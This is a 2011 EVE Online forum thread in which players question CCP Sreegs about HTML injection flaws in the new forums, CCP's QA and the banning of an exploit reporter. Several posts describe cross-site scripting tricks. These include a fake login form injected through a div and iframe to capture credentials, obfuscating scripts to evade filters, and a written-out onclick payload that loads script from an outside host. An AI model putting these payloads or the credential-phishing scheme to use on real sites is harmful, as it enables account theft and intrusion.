There were some reports that parts of the exploits were applicable to EVE Gate - I remember someone mentioning that it is possible to write evemails from unsubscribed accounts etc - was EVE Gate not taken down because these claims are simply not true or because EVE Gate is a too central/integrated part of the EVE experience (and cost/benefit did not justify shutting it down)?
Some people claimed part of the vulnerabilities had already been mentioned on forums and/or reported to CCP during the public testing of the new forums. Can you comment on that?
Whether javascript injection was probably possible or not seems to be mainly a question of how well you sanitize HTML attributes, there are countless places you can stick a bit of js code you want to have executed and most of them don't involve any "<script>" tag. An attacker would probably also look to encode his javascript in some way to mask it (either via the built-in escape/unescape or if your site uses a js framework that provides more functionality he could use base64, hex, ...). For an attack to be successful it doesn't have to standards compliant - stuff like background-image:url('javascript:alert("Hi")') will for example work with IE 6 and shouldn't work with more modern browsers - but that can already be bad enough...
|
Othran
Brutor Tribe
|
Posted - 2011.04.12 06:32:00 -
[106]
Apologies if this has been directly answered - I have looked and don't see it.
CCP Sreegs - did the security team test the new forums for common vulnerabilities before they went live?
I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
|
Skex Relbore
Gallente Skexcorp
|
Posted - 2011.04.12 06:34:00 -
[107]
I'm still wondering who thought it would be a good idea to roll the new forums out on a Friday?
|
Jimmae
|
Posted - 2011.04.12 06:41:00 -
[108]
Fun fact: EveGate was vulnerable to XSS too during closed beta. One should think the Web Devs had been made aware of possible security issues back then already.
Next time have proper penetration testing done by outsiders! How can we hold you to your own standards if you aren't?
Also: Educate your personnel!
I am a Software Engineer myself and while I knew about SQL Injections and Path Traversal, I had no clue about MANY other things like XSS, XSRF or XEE. I accompanied a few penetration tests and they made me realize that most issues could be avoided during the development process already by sensitizing programmers BEFORE they get kicking.
|
token guy
|
Posted - 2011.04.12 06:51:00 -
[109]
CCP Sreeeeeeeeeeeeegs made a goodpost.
What's going on here?
|
Jimmae
|
Posted - 2011.04.12 06:53:00 -
[110]
Originally by: Othran I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
I absolutely aggree with you. However, unless you have a dedicated in-house specialist you should have it done by professionals. There are many more attack vectors than just the OWASP top 10 and new ones constantly emerging.
My company has been working with n.runs and they sure know their stuff. They found some reflective XSS which I would have found too. The main issue though we would have NEVER found during in-house testing and it could have lead to a compromise of our complete server infrastructure.
|
|
|
Chribba
Otherworld Enterprises Otherworld Empire
|
Posted - 2011.04.12 07:34:00 -
[111]
Let's just hope there is no PIE incident!
Keep up the good work!
/c
Secure 3rd party service | my in-game channel 'Holy Veldspar' |
|
Ban Doga
|
Posted - 2011.04.12 07:38:00 -
[112]
Edited by: Ban Doga on 12/04/2011 07:38:59
Originally by: Ban Doga Edited by: Ban Doga on 11/04/2011 09:53:23
Originally by: Bomberlocks We'll see what Sreegs posts in his blog, but I'm not entirely convinced that CCP will be honest as to the extent of the problem as I think it might open them up to possible legal problems.
The blog will reiterate the statements already made. This will include "injection of HTML", "user data was not at risk" and "security's job is to react to issues - not to prevent them by reading code". It will contain a more lengthy and (slightly) more detailed explanation of "What" happened but not "Why".
Questions regarding "Why" will be met with "Policy says 'No'", "I already explained that", "I say what I said" and "Asking about bans or warnings could get you a ban or warning yourself".
And I'll be delighted to be wrong...
Not too disappointed I wasn't wrong.
I find it a bit odd that you cast away that "the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine" with "it's always a best practice to keep your computers safe". If that's the stance on security could you please get someone to get rid of the "You are leaving CCP-land. Evil people might be trying to attack your computer." warning when following links in the forum. It's the same thing and you said "I'm stating outright that customer data was never at risk.". So I guess we don't need that warning...
I'm also wondering about your two example mails to report vulnerabilities. None of them state "I will continue" or "I will stop", yet you seem to imply the first one will continue but the second won't. What's the magic word/phrase/indicator here?
Do you also agreed that one has to make actual use of a (potential) exploit at least once to confirm it is there?
|
Toshiro GreyHawk
|
Posted - 2011.04.12 07:42:00 -
[113]
Originally by: Jimmae
Originally by: Othran I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
I absolutely aggree with you. However, unless you have a dedicated in-house specialist you should have it done by professionals. There are many more attack vectors than just the OWASP top 10 and new ones constantly emerging.
My company has been working with n.runs and they sure know their stuff. They found some reflective XSS which I would have found too. The main issue though we would have NEVER found during in-house testing and it could have lead to a compromise of our complete server infrastructure.
Yeah ... if you don't have in house people who just eat, sleep and breathe this stuff then they are going to be behind the curve. Most places aren't big enough or don't have their priorities set high enough for this kind of thing.
The thing is - you've got people out there who do eat, sleep and breathe this stuff that're the ones trying to break into your systems.
And - it never ends.
. Orbiting vs. Kiting Faction Schools |
Louis deGuerre
Gallente Malevolence. Imperial 0rder
|
Posted - 2011.04.12 07:50:00 -
[114]
Report security exploit, no matter how annoyingly, and get banned ? You should give the guy a medal. For shame CCP
----- Malevolence. is recruiting. Dive into the world of 0.0 !
|
Madcapnl
The Rising Stars -Mostly Harmless-
|
Posted - 2011.04.12 07:58:00 -
[115]
Kudos to you, CCP Sreegs. You are the first CCP employee to actually communicate to the community. You have clearly explained what happened, you have admitted that stuff went belly up and that you are working to fix that. Basically that is what the community expects: just tell them what is happening and why you are doing what you are doing.
I truly think that the ano's nerf in nullsec would have landed a lot better with the community if it had been communicated sooner (or at all for that matter) and with the actual reasons, not with the made up reasons that are laughable to the community. Nerfing stuff can benefit the game, but it HURTS a lot of people. Clear and honest communication is key when some of the community is hit by a nerf. By not communicating with the community, CCP is basically saying "we know better and you are stupid, so shut up" to the commmunity. And that just pis$es them off.
Anyway, keep up the good work. Treat us like the serious people we are and we will love you long time.
|
Bagdon
GoonWaffe Goonswarm Federation
|
Posted - 2011.04.12 08:01:00 -
[116]
Originally by: Akita T
This was just a more visible symptom of a much deeper seated problem at CCP, namely that stuff HAS to be rushed to meet an unrealistic deadline, and damn the consequences, because the people responsible for the money are getting too antsy.
While the overall truth of rushing features to a deadline might be true, this case isn't a symptom of that. Rushing to a deadline means cutting corners, cutting features and skipping QA. The migration of posts from the old forum is probably a symptom of deadlineitis. In the case of impersonating others on the forum (I haven't bothered researching the signature thing, since it's a smaller problem) there is no way a competent developer would make that implementation choice even with a deadline gun pointed to his head. It's not a matter of QA either, since these kinds of problems are not testable. It's a simple matter of incompetence or inexperience.
|
Ban Doga
|
Posted - 2011.04.12 08:12:00 -
[117]
Originally by: Bagdon While the overall truth of rushing features to a deadline might be true, this case isn't a symptom of that. Rushing to a deadline means cutting corners, cutting features and skipping QA. The migration of posts from the old forum is probably a symptom of deadlineitis. In the case of impersonating others on the forum (I haven't bothered researching the signature thing, since it's a smaller problem) there is no way a competent developer would make that implementation choice even with a deadline gun pointed to his head. It's not a matter of QA either, since these kinds of problems are not testable. It's a simple matter of incompetence or inexperience.
I can assure you there are people out there making a living testing exactly that and nothing else. It is possible to test this and it is possible to find that.
The sad truth is we will never know why this happened. It might be a case of skipped QA to hold a deadline. It might be a case of bad QA to hold a deadline. It might be a case of a failed process (QA was scheduled but no one checked if it actually did occur). It might be a case of incompetence ("We don't need to test that - it'll be fine"). It might be a case of ignorance (no one thought about testing that).
We will never know because none of those possibilities will make CCP look any better. In fact if we knew what happened a lot of people would be infuriated even more ("How could you..." - yeah, I'm one of those...).
|
Moron78
Blueprint Haus
|
Posted - 2011.04.12 08:16:00 -
[118]
I know crap about computers, forums and all. So for me, as a regular customer, this is an issue of trust. Since CCPs notice on the forums was rather scarce when the forum thing hit I did what I usually do for stuff CCP is being coy about, Kugu and Scrapheap. (Well, the latter no more.) Now as I said I donÆt know much about this, but what was shown to be done on SHC seemed really basic. Which I gather to be the gist of the discussion thread over on Kugu also.
And CCP let it past. Sreegs, you say in the blog that you havenÆt been able to get in scripts that would run malware, key loggers and stuff of those forums. But you are by no means sure. And you even very inelegantly try to put it on the end-used. (ôEven were someone able to have injected script the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine rather than some window into our secure environment.ö) Now to not get off track, I recognise that only to a very limited degree can CCP be responsible for what takes place at my computer. But, CCP made a forum where you are not ruling out that keyloggers etc could be embedded, and by leaving a rather obvious security hole for the computer savvy.
And regardless of that as I understand it the hole is by no means insignificant to CCP as it enabled reading of all subforums, including subforums where stuff potentially under NDA could be discussed. (IÆm assuming that NDA information may be discussed in the closed CMS forum.)
So, my question. If CCP let this slip by what else have you not been able to catch? I hope that this is a case of SreegsÆ department being bypassed in internal processes. But as Sreegs says, they arenÆt about to tell us. My issue with leaving this undisclosed is that I no longer have any trust in CCP when it comes to security measures. Why Sreegs would I trust you to rectify and make a secure forum- or anything else û when the last attempt potentially could have exposed end users and opened NDA information to the world? |
Gavjack Bunk
Gallente Genos Occidere HYDRA RELOADED
|
Posted - 2011.04.12 08:17:00 -
[119]
I love it when a Dev takes his turn in the barrel.
Sreeg's Barrel. It's CCP's answer to Schrodinger's Cat. Do we know what state he's in right now?
|
Psihius
Caldari Anarchist Dawn U N K N O W N
|
Posted - 2011.04.12 08:19:00 -
[120]
Dear CCP!
As a web developer (PHP & MySQL based + all the stuff surrounding) for over 7 years now, and one of the leading once in our small country. I should point out that your WEB team should be re-evaluated, because this is unacceptable error. It's not just a bug or small glitch - it's a huge black hole in the application security. I work myself with finances and the security it top priority, and frankly, I just don't get it how such a big mistake can be made?
Microsoft has a history with ASP & ASP.net and probably now same with the .NET - it was easy and it requires more a team of trained monkeys than a real programmers to do the job and todo real stuff you need people passionate about the tech and knowing it inside out. Not to mention there are sometimes just amazingly stupid bugs in .NET. And definitely there should be some security guy witch knows things and is able to teach others. --------------------------------------------------
Originally by: Blacksquirrel This is EVE. PVE can happen anywhere at anytime. Be prepared.
|
|
Smagd
Encina Technologies Namtz' aar K'in
|
Posted - 2011.04.12 08:57:00 -
[121]
Edited by: Smagd on 12/04/2011 08:59:35 Maybe I shouldn't say this, but my confidence is a bit shaken (not stirred).
I can quote at least two historic instances where people have been trying to point CCP to an issue, and no petition would help until someone went to the forums and made it public:
T20's Dev Hax would probably serve as a good example of how not to report issues, but Dark Shikari's Trade Window Scam is certainly an example of a correct way to do it - and it STILL took a forum threadnaught.
At this point I'm not really sure that any "procedures put in place" to make it easier to get CCP to listen actually works.
In the light of the current forum "cookie derp" I may have become a little hard to convince that emails sent to that fancy security email address are treated with any better priority sorting than critical petitions.
Better than "Hey that subject line looks important".
|
Rixiu
The Inuits
|
Posted - 2011.04.12 08:58:00 -
[122]
I'll just leave this here
CCP, I am disappoint
|
Mynas Atoch
Eternity INC. Goonswarm Federation
|
Posted - 2011.04.12 09:05:00 -
[123]
Edited by: Mynas Atoch on 12/04/2011 09:05:52 I hadn't seen it all in one place before, but its really quite surprising that
a. CCP claim to have invested 72,000 man.hours...
b. to implement an off the shelf open source gplv2'd forum software YAF.net by adding an eve skin and their own account security, ...
c. but failed in its performance of the basic QA expected for any modern Web Application.
Here's a pdf The Open Web Application Security Project. You can print it out and read it at leisure.
|
Trebor Daehdoow
|
Posted - 2011.04.12 09:35:00 -
[124]
Originally by: Yuki Kulotsuki So mittens is king of the piggies?
Well, he is a bit of a ham.
Originally by: Gavjack Bunk Sreeg's Barrel. It's CCP's answer to Schrodinger's Cat. Do we know what state he's in right now?
Inebriation. He either collapses into it, or collapses because of it.
But seriously now, while I thank Sreegs for his report, and his engagement with the community on this and other issues, the real challenge for CCP will be in what comes after the dust has settled -- "what happened" is important, but "why it happened" and "what steps must be taken to prevent it from happening again" are even more important, and it is the answers to those questions which will be the true basis for judgment.
|
Gavjack Bunk
Gallente Genos Occidere HYDRA RELOADED
|
Posted - 2011.04.12 09:39:00 -
[125]
Originally by: Trebor Daehdoow But seriously now, while I thank Sreegs for his report, and his engagement with the community on this and other issues
A meltdown is defintely the best way to remind people that you're human.
|
Hel O'Ween
Men On A Mission
|
Posted - 2011.04.12 09:53:00 -
[126]
What this whole damage control dev blog - and the discussion around it - happily ignores, is the fact that after the forums were taken down the first time and went online again with an assuring "we fixed it, everything's fine now" statement accompanying it, the problems were still there!
Only after another demonstration, they were put offline. How assuring is this for us?
Oh, and thank you very much for making clear that your paying customers are to blame for this, as they didn't write the petitions/bug reports in such a way that you don't have to do the research yourself. I'd suggest you scrap every report that has no compilable code attached to it. Anything else can't be taken serious. -- EVEWalletAware - an offline wallet manager |
Hel O'Ween
Men On A Mission
|
Posted - 2011.04.12 09:55:00 -
[127]
Originally by: Misanth
Communication is not CCP's strongest side, never has been. They misunderstand players, we misunderstand them. They present stuff in a way that aggravates the playerbase, even tho it could easily be made in a more appealing fashion. Etc.
Yeah, Hilmar's words at the FanFest keynote this year comes to mind: "We miscommunicated, we didn't communicate at all. We've learned from that." -- EVEWalletAware - an offline wallet manager |
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 10:01:00 -
[128]
Edited by: Grimpak on 12/04/2011 10:01:01
Originally by: Hel O'Ween What this whole damage control dev blog - and the discussion around it - happily ignores, is the fact that after the forums were taken down the first time and went online again with an assuring "we fixed it, everything's fine now" statement accompanying it, the problems were still there!
Only after another demonstration, they were put offline. How assuring is this for us?
Oh, and thank you very much for making clear that your paying customers are to blame for this, as they didn't write the petitions/bug reports in such a way that you don't have to do the research yourself. I'd suggest you scrap every report that has no compilable code attached to it. Anything else can't be taken serious.
well to be fair, Sreegs is the security guy, not the code guy. that and the fact that it was a weekend also didn't help at all.
Originally by: Trebor Daehdoow But seriously now, while I thank Sreegs for his report, and his engagement with the community on this and other issues, the real challenge for CCP will be in what comes after the dust has settled -- "what happened" is important, but "why it happened" and "what steps must be taken to prevent it from happening again" are even more important, and it is the answers to those questions which will be the true basis for judgment.
tbh from this side's POV this was yet another issue in a long string of issues that have plagued EVE lately where it seems that either QA didn't look at it or there is no QA at all. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
Super Whopper
I can Has Cheeseburger
|
Posted - 2011.04.12 10:09:00 -
[129]
Edited by: Super Whopper on 12/04/2011 10:09:53
Originally by: Trebor Daehdoow "what happened"
That thing called excellence, which CCP kept going on about, was exposed in all its glory. Now you may wonder why not a single blog has used that word in months.
Originally by: Hel O'Ween Yeah, Hilmar's words at the FanFest keynote this year comes to mind: "We miscommunicated, we didn't communicate at all. We've learned from that."
The only thing CCP have learned is how to use the CSM to string us along.
Originally by: Grimpak tbh from this side's POV this was yet another issue in a long string of issues that have plagued EVE lately where it seems that either QA didn't look at it or there is no QA at all.
Lately, since 2003.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 10:19:00 -
[130]
The DEV BLOG,
not at risk, sorry guys this must be joke, as you've said, it was possible to include HTML. Who would prevent me for adding a div, which looks exactly like your login one, make it be at the exatly same position as the original one, containing a iframe with the login form itself, and gather a some login informations???
Sorry, but i do not think that account informations have not been at risk...
Just as an sidetip, PLEASE check that it is not possible to execute server side commands, like SHELLs and stuff....
|
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 10:20:00 -
[131]
Originally by: Super Whopper Lately, since 2003.
I was actually talking about the rumoured contractual SNAFU that happened when Iceland went **** up that kicked out half of the QA department, but you can go that way too, saying this game is a failure from day 0. why are you playing tho? ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
Kepakh
|
Posted - 2011.04.12 11:04:00 -
[132]
Originally by: Kristina Vanszar
Who would prevent me for adding a div, which looks exactly like your login one, make it be at the exatly same position as the original one, containing a iframe with the login form itself, and gather a some login informations???
I am not particularly sure how you would be gathering any information just by adding a div and no script working...
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 11:06:00 -
[133]
Originally by: Kepakh
Originally by: Kristina Vanszar
Who would prevent me for adding a div, which looks exactly like your login one, make it be at the exatly same position as the original one, containing a iframe with the login form itself, and gather a some login informations???
I am not particularly sure how you would be gathering any information just by adding a div and no script working...
A div with an iframe, which contains a fully functional login form, hosted from another website. Which is asking you to log in to the forums. there are plenty of users not thinking twice, who would just enter the credentials.
|
RaTTuS
BIG Gentlemen's Agreement
|
Posted - 2011.04.12 11:08:00 -
[134]
it was still limited to 500chracters
|
Kepakh
|
Posted - 2011.04.12 11:09:00 -
[135]
Originally by: Kristina Vanszar
A div with an iframe, which contains a fully functional login form, hosted from another website. Which is asking you to log in to the forums. there are plenty of users not thinking twice, who would just enter the credentials.
No script, no data send anywhere...?
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 11:17:00 -
[136]
Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
|
Jimmae
|
Posted - 2011.04.12 11:19:00 -
[137]
Edited by: Jimmae on 12/04/2011 11:23:55
Originally by: Kepakh
Originally by: Kristina Vanszar
A div with an iframe, which contains a fully functional login form, hosted from another website. Which is asking you to log in to the forums. there are plenty of users not thinking twice, who would just enter the credentials.
No script, no data send anywhere...?
We have a proverb where I come from: "If you don't have a clue just shut the f*ck up."
You don't need Javascript to trigger an HTTP Post Request. All you need is a <form> tag.
Besides that, not being able to inject a <script> tag doesn't mean I can not inject script through other ways. onclick for example can be an easy way, so can be a href.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 11:25:00 -
[138]
Originally by: Jimmae Edited by: Jimmae on 12/04/2011 11:23:55
Originally by: Kepakh
Originally by: Kristina Vanszar
A div with an iframe, which contains a fully functional login form, hosted from another website. Which is asking you to log in to the forums. there are plenty of users not thinking twice, who would just enter the credentials.
No script, no data send anywhere...?
We have a proverb where I come from: "If you don't have a clue just shut the f*ck up."
You don't need Javascript to trigger an HTTP Post Request. All you need is a <form> tag.
Besides that, not being able to inject a <script> tag doesn't mean I can not inject script through other ways. onclick for example can be an easy way, so can be a href.
This ^^ Thank you :-)
|
Miso Hawnee
|
Posted - 2011.04.12 11:26:00 -
[139]
If I performed like this at work, I would be fired and possibly in jail.
Maybe there is no IT equivalent to the NEC, maybe there are no standards or structure to it at all. I doubt this though, you don't go to college and learn Information Technology because its an inane science.
Oh hi ya we forgot to ground your 480v system, but we assure that it is working now. Never mind your line worker that is break dancing every time he touches a control desk. In fact, I recommend you fire that worker for bringing our incompetence to light.
|
Kepakh
|
Posted - 2011.04.12 11:45:00 -
[140]
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
|
|
Jimmae
|
Posted - 2011.04.12 11:52:00 -
[141]
Edited by: Jimmae on 12/04/2011 11:56:09
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onclick="(s=(d=document).createElement('script')).src='www.bit.ly/123';d.getElementsByTagName('body')[0].appendChild(s)">
Edit: Why do I always type onlick? Gotta be something Freudian.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 11:53:00 -
[142]
Edited by: Kristina Vanszar on 12/04/2011 11:56:15
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
WRONG! an iframe is nothing more then you opening another website, in this particular case, without knowing it.
@ Jimae, not 1000 % sure, but should work to, couse youre jumping over the check and are creating the script "in runtime"
|
|
CCP Sreegs
|
Posted - 2011.04.12 11:55:00 -
[143]
Originally by: Kristina Vanszar The DEV BLOG,
not at risk, sorry guys this must be joke, as you've said, it was possible to include HTML. Who would prevent me for adding a div, which looks exactly like your login one, make it be at the exatly same position as the original one, containing a iframe with the login form itself, and gather a some login informations???
Sorry, but i do not think that account informations have not been at risk...
Just as an sidetip, PLEASE check that it is not possible to execute server side commands, like SHELLs and stuff....
Iframes were not possible. Only a limited subset of HTML was. The investigation is still ongoing but we have no reason to believe that spawning a shell or server compromise was possible either. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 11:57:00 -
[144]
Originally by: Jimmae Edited by: Jimmae on 12/04/2011 11:56:09
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onclick="(s=(d=document).createElement('script')).src='www.bit.ly/123';d.getElementsByTagName('body')[0].appendChild(s)">
Edit: Why do I always type onlick? Gotta be something Freudian.
This code was not possible either. |
|
Kepakh
|
Posted - 2011.04.12 11:59:00 -
[145]
Originally by: Jimmae
1. I present you with an injected login form.
It is still the web server that determines if your injection will be passed or not and how the result will be displayed.
There is no evidence that handler as such would be working. You only state your speculations as facts.
|
Jimmae
|
Posted - 2011.04.12 12:01:00 -
[146]
Originally by: CCP Sreegs
Originally by: Jimmae Edited by: Jimmae on 12/04/2011 11:56:09
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onclick="(s=(d=document).createElement('script')).src='www.bit.ly/123';d.getElementsByTagName('body')[0].appendChild(s)">
Edit: Why do I always type onlick? Gotta be something Freudian.
This code was not possible either.
I am glad to hear that! It is one of the most basic examples and doesn't even try masking itself.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 12:01:00 -
[147]
K sreegs, thanks for the info, i changed all passwords i had, just in case.
can i ask you something: Please guys if you find out that something has gone terrible wrong, and **** could hit the fan verry badly.
let us know, se we can prepare ourself if that's the case, saying everything is fine and hoping noone will find out is just a bad idea.
If you are 1000000 % sure, nothing coul've happend, let us know too, but with a detailed description why....
Br, o7
BTW: i've filled out the BH form and haven't got any response till now.
|
|
CCP Sreegs
|
Posted - 2011.04.12 12:03:00 -
[148]
Originally by: mazzilliu apparently the guy who first reported the issue and later got banned said that his initial exploit report was incomplete, but there was no ccp effort to get him to elaborate.
perhaps it would be an improvement to have some sort of followup for security related reports, in case the reporter does not understand how to properly demonstrate an exploit, to try to get him to communicate clearly, rather than brush them off as another incomplete bug report or potential troll. i think if that happened the forums might have gone down some time sooner.
I cannot comment on individual administrative actions as a matter of policy. This unfortunately also leaves me in a position where I cannot counter your speculation, except to point to the steps outlined in the blog and let you know that we really don't want to ban people from EVE. |
|
kakmonstret
|
Posted - 2011.04.12 12:03:00 -
[149]
Edited by: kakmonstret on 12/04/2011 12:05:20
Originally by: Jimmae
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onlick="(s=(d=document).createElement("script")).src='www.bit.ly/123';d.getElementsByTagName('body')">[0].appendChild(s)">
Okay people have you ever done stuff like this? Regarding the above example a filter to filter out js will hopefully catch that. Now this being the CCP webdev clowns we can't be to sure.
Regarding frames they can load any other content on the web. If CCP doesn't have some very interesting check on their server that loads the iframe target and checks for js there it would not be able to do anything. In any way there is no way CCP can filter content on a remote site loaded in a frame. Because that content is *not* loaded by their server, instead it is only loaded by your browser. If the server does a check for frames and check their target the only thing it can do is to remove the frame completely. That such a check exists I would say is very unlikely.
Edit: And all nice theory was blow away by no frames allowed. Well well nice try.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 12:08:00 -
[150]
Originally by: kakmonstret
Originally by: Jimmae
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onlick="(s=(d=document).createElement("script")).src='www.bit.ly/123';d.getElementsByTagName('body')">[0].appendChild(s)">
Okay people have you ever done stuff like this? Regarding the above example a filter to filter out js will hopefully catch that. Now this being the CCP webdev clowns we can't be to sure.
Regarding frames they can load any other content on the web. If CCP doesn't have some very interesting check on their server that loads the iframe target and checks for js there it would not be able to do anything. In any way there is no way CCP can filter content on a remote site loaded in a frame. Because that content is *not* loaded by their server, instead it is only loaded by your browser. If the server does a check for frames and check their target the only thing it can do is to remove the frame completely. That such a check exists I would say is very unlikely.
If the Frame element family was filtered by the Signature checks then it couldn't do any harm, i didn't wanted my accounts banned or even trouble with my RL copany going to hell because of an attack with CCP as target without a contract to do so, so i didn't tested it.
I hope Frames were not possible.
|
|
Kepakh
|
Posted - 2011.04.12 12:08:00 -
[151]
Remember the proverb...
|
Jimmae
|
Posted - 2011.04.12 12:11:00 -
[152]
Originally by: kakmonstret Edited by: kakmonstret on 12/04/2011 12:05:20
Originally by: Jimmae
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
Did you even read what he wrote?
1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT
PS: Remember the proverb!
PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onlick="(s=(d=document).createElement("script")).src='www.bit.ly/123';d.getElementsByTagName('body')">[0].appendChild(s)">
Okay people have you ever done stuff like this? Regarding the above example a filter to filter out js will hopefully catch that. Now this being the CCP webdev clowns we can't be to sure.
Regarding frames they can load any other content on the web. If CCP doesn't have some very interesting check on their server that loads the iframe target and checks for js there it would not be able to do anything. In any way there is no way CCP can filter content on a remote site loaded in a frame. Because that content is *not* loaded by their server, instead it is only loaded by your browser. If the server does a check for frames and check their target the only thing it can do is to remove the frame completely. That such a check exists I would say is very unlikely.
Edit: And all nice theory was blow away by no frames allowed. Well well nice try.
Script injection via HTML doesn't require frames at all and there are many ways to camouflage and obfuscate the necessart code. Some are browser specific, or even specific to a certain version. Some aren't. Writing a proper sanitation routine for this kind of stuff is VERY difficult. I was tasked with that once. Eventually I convinced my superior that it was futile and that we had to use a different approach.
|
GKO
|
Posted - 2011.04.12 12:16:00 -
[153]
Hey Sreegs,
I dont agree with what your company did here, but the way you are handling all this nerd rage is somehow special. Keep up the good work (as in answering questions/feedback) and try to spread some of that to other departments. Some could really use that help...
Another topic: we could use you in the tobacco industry on more serious topics, hit me up in a private mail if you are interested.
. G K O .
|
Dray
Caldari Euphoria Released Merciless.
|
Posted - 2011.04.12 12:19:00 -
[154]
TL:DR
We're still getting the crap new forums?
|
kakmonstret
|
Posted - 2011.04.12 12:26:00 -
[155]
Originally by: Jimmae Edited by: Jimmae on 12/04/2011 12:16:42
Script injection via HTML doesn't require frames at all and there are many ways to camouflage and obfuscate the necessary code unless you purge the HTML tags of ANY attributes. Some are browser specific, or even specific to a certain version. Some aren't. Writing a proper sanitation routine for this kind of stuff is VERY difficult. I was tasked with that once. Eventually I convinced my superior that it was futile and that we had to use a different approach.
Edit: Spelling
If the filter is based on a list of a limited acceptable list of tags and attributes it would go a long way towards stop js. But yes the huge amount of ugly HTML hacks done by browser vendors is a huge problem.
|
|
CCP Sreegs
|
Posted - 2011.04.12 12:27:00 -
[156]
Originally by: Misanth
Originally by: Kuroki Meisa Kennedy
Originally by: mazzilliu apparently the guy who first reported the issue and later got banned said that his initial exploit report was incomplete, but there was no ccp effort to get him to elaborate.
perhaps it would be an improvement to have some sort of followup for security related reports, in case the reporter does not understand how to properly demonstrate an exploit, to try to get him to communicate clearly, rather than brush them off as another incomplete bug report or potential troll. i think if that happened the forums might have gone down some time sooner.
+1 I also feel just killing the messenger is wrong and makes the P in CCP stand for police.
Communication is not CCP's strongest side, never has been. They misunderstand players, we misunderstand them. They present stuff in a way that aggravates the playerbase, even tho it could easily be made in a more appealing fashion. Etc.
I gave up petitioning CCP for now, last couple of petitions they just gave me standard replies asking for information I already submitted in the first petition. It is no point raising your voice when you talk with the deaf.
For security matters at least the best method of contact is [email protected]. I can't attest to what anyone else does in any other system but that goes directly to me. |
|
|
CCP Sreegs
|
